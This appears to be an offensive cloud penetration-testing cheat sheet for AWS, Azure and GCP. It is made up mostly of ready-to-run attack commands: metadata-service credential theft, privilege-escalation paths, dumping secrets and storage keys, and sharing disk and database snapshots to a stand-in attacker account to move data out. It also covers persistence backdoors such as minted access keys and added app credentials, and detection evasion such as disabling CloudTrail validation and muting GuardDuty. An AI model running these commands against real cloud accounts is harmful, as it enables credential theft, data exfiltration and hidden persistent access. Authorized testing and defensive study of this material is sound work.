Cloud (AWS / Azure / GCP) — Offensive Testing Methodology
Quick Workflow
- Identify the cloud and the identity context you have (user, role, service account, instance role)
- Enumerate without writes —
aws sts get-caller-identity, az account show, gcloud auth list
- Map permissions to known privilege-escalation primitives (PassRole, Owner, etc.)
- Find the data and the persistence anchors before alarms fire
- Document the kill chain with timestamps, identities, and resources for the report
AWS
Identity Discovery
aws sts get-caller-identity
aws iam list-attached-user-policies --user-name $(aws sts get-caller-identity --query Arn --output text | awk -F/ '{print $NF}')
aws iam list-attached-role-policies --role-name <role>
aws iam simulate-principal-policy --policy-source-arn $(aws sts get-caller-identity --query Arn --output text) \
--action-names "*"
IMDS Credential Theft
# IMDSv1 (legacy)
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/<role>
# IMDSv2 (modern, requires token)
TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" \
-H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
curl -H "X-aws-ec2-metadata-token: $TOKEN" \
http://169.254.169.254/latest/meta-data/iam/security-credentials/
From SSRF, IMDSv2 was historically reachable when the SSRF allowed setting custom headers. Modern AWS denies SSRF without Host: 169.254.169.254 and proper PUT-then-GET flow — SSRF in 2024+ rarely yields IMDSv2 unless the proxy reflects custom headers.
Privilege Escalation Paths
| Path | Required Permission | Outcome |
|---|
iam:PassRole + lambda:CreateFunction | Pass any role to Lambda you create | Run code as that role |
iam:PassRole + ec2:RunInstances | Pass any role to EC2 instance | IMDS → role creds |
iam:CreatePolicyVersion + iam:SetDefaultPolicyVersion | Edit your own policy | Self-elevate |
iam:UpdateAssumeRolePolicy | On a privileged role | Add yourself as principal |
iam:CreateLoginProfile (on user without one) | Set console password | Console access |
iam:CreateAccessKey (on another user) | Mint keys for someone else | Persistent access |
sts:AssumeRole with sts:TagSession to ABAC role | If role trusts session tags | Tag-based escalation |
cloudformation:CreateStack + permissive role | Run any service action | Indirect arbitrary perms |
glue:UpdateDevEndpoint | Inject SSH key into Glue endpoint | Code exec as Glue role |
ssm:SendCommand to any instance | RCE on instances + their roles | Lateral + escalation |
# Pacu — the tooling for AWS escalation
pacu
> import_keys default
> run iam__enum_permissions
> run iam__privesc_scan
Cross-Account / Organization
# Find roles trusting the current account
aws iam list-roles --query 'Roles[?AssumeRolePolicyDocument!=null]'
# Then grep AssumeRolePolicyDocument.Statement for trusts to your account
# Org-wide (if Organizations access)
aws organizations list-accounts
aws organizations list-roots
Data Targets
# S3
aws s3api list-buckets
aws s3 ls s3://<bucket> --recursive | head
aws s3api get-bucket-policy --bucket <bucket>
# Cross-region snapshot share (data exfil without S3)
aws ec2 modify-snapshot-attribute --snapshot-id snap-... \
--attribute createVolumePermission \
--create-volume-permission "Add=[{UserId=ATTACKER_ACCT}]"
# RDS snapshot share
aws rds modify-db-snapshot-attribute --db-snapshot-identifier mysnap \
--attribute-name restore --values-to-add ATTACKER_ACCT
# Secrets Manager / Parameter Store
aws secretsmanager list-secrets
aws ssm get-parameters-by-path --path / --recursive --with-decryption
Persistence
# Cross-account SCP exemption via service-linked role
# AWS Config snapshot delivery channel rerouted to attacker bucket
aws configservice put-delivery-channel ... # Rare but devastating
# EventBridge rule firing Lambda you control on every IAM change
# Backdoor: Lambda creates an access key for any new admin user
Detection Evasion
- CloudTrail to multi-region with log file validation — disable validation if you have perms
- GuardDuty findings can be muted via
update-findings-feedback if you have the permission (rare in prod)
- VPC Flow Logs only catch IP traffic; control-plane API calls are CloudTrail-only
Azure
Identity Discovery
az account show
az ad signed-in-user show
az role assignment list --all --assignee $(az ad signed-in-user show --query id -o tsv)
# Microsoft Graph
az rest --method GET --uri "https://graph.microsoft.com/v1.0/me"
IMDS
curl -H "Metadata:true" \
"http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"
Privilege Escalation Paths
| Path | Required Role / Permission | Outcome |
|---|
| User Access Administrator on self/sub | Grant self Owner | Subscription Owner |
| App Registration owner | Add cert/secret, mint app-only tokens | App's permissions |
| Virtual Machine Contributor + Reader on KV | Run command on VM with MSI → KV | Secrets |
Custom role with */write on RBAC | Edit role assignments | Self-elevate |
| Logic App contributor | Edit workflow → privileged action | Indirect any action |
| Automation Account contributor | RunBook with Run-As account | Run as RunAs identity |
AAD Application Administrator | Assign app to high-priv role | Cloud admin via app |
AAD Cloud Application Administrator | Same minus on-prem | Cloud admin |
AAD Directory Synchronization Account | DCSync via AAD Connect | All on-prem hashes |
| Privileged Authentication Administrator | Reset MFA / passwords for Globals | Global Admin reset |
# ROADtools — the AAD enumeration toolkit
roadrecon auth -u user@tenant -p pass
roadrecon gather
roadrecon gui # browse the gathered DB
# AzureHound for BloodHound integration
azurehound list -u user -p pass --tenant tenant.onmicrosoft.com
Data Targets
# Storage account access keys (gold)
az storage account keys list -g RG -n SA
# Key Vault (per RBAC + access policies)
az keyvault secret list --vault-name myvault
az keyvault secret show --vault-name myvault -n cred
# Cosmos DB primary keys
az cosmosdb keys list -g RG -n acct
# SQL admin reset
az sql server ad-admin create -g RG -s server -u attacker@tenant -i <obj-id>
Persistence
# Add cert to existing privileged AAD application
az ad app credential reset --id <app-id> --append
# Conditional Access bypass: add own service principal to "trusted locations" / exclusions
# Custom rules to AAD Audit log retention
Detection Evasion
- AAD Audit Log: tenant-level, can't be tampered with from below Global Admin
- Microsoft Sentinel: rule shaping if you have Workbook / Analytics Rule write
- Defender for Cloud: alert suppression rules
GCP
Identity Discovery
gcloud auth list
gcloud projects list
gcloud iam service-accounts list
gcloud projects get-iam-policy $(gcloud config get-value project)
IMDS
curl -H "Metadata-Flavor: Google" \
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
Privilege Escalation Paths
| Path | Required Permission | Outcome |
|---|
iam.serviceAccountTokenCreator on SA | Mint tokens as SA | SA's perms |
iam.serviceAccountUser + compute.instances.create | Pass SA to new VM | Run as SA via IMDS |
iam.serviceAccountKeyAdmin | Create JSON key for any SA | Persistent SA creds |
cloudbuild.builds.create | Build runs as Cloud Build SA (often Editor) | Editor on project |
deploymentmanager.deployments.create | Runs as DM SA (often Owner) | Owner |
cloudfunctions.functions.create + actAs | Pass any SA to function | Run as that SA |
dataflow.jobs.create | | |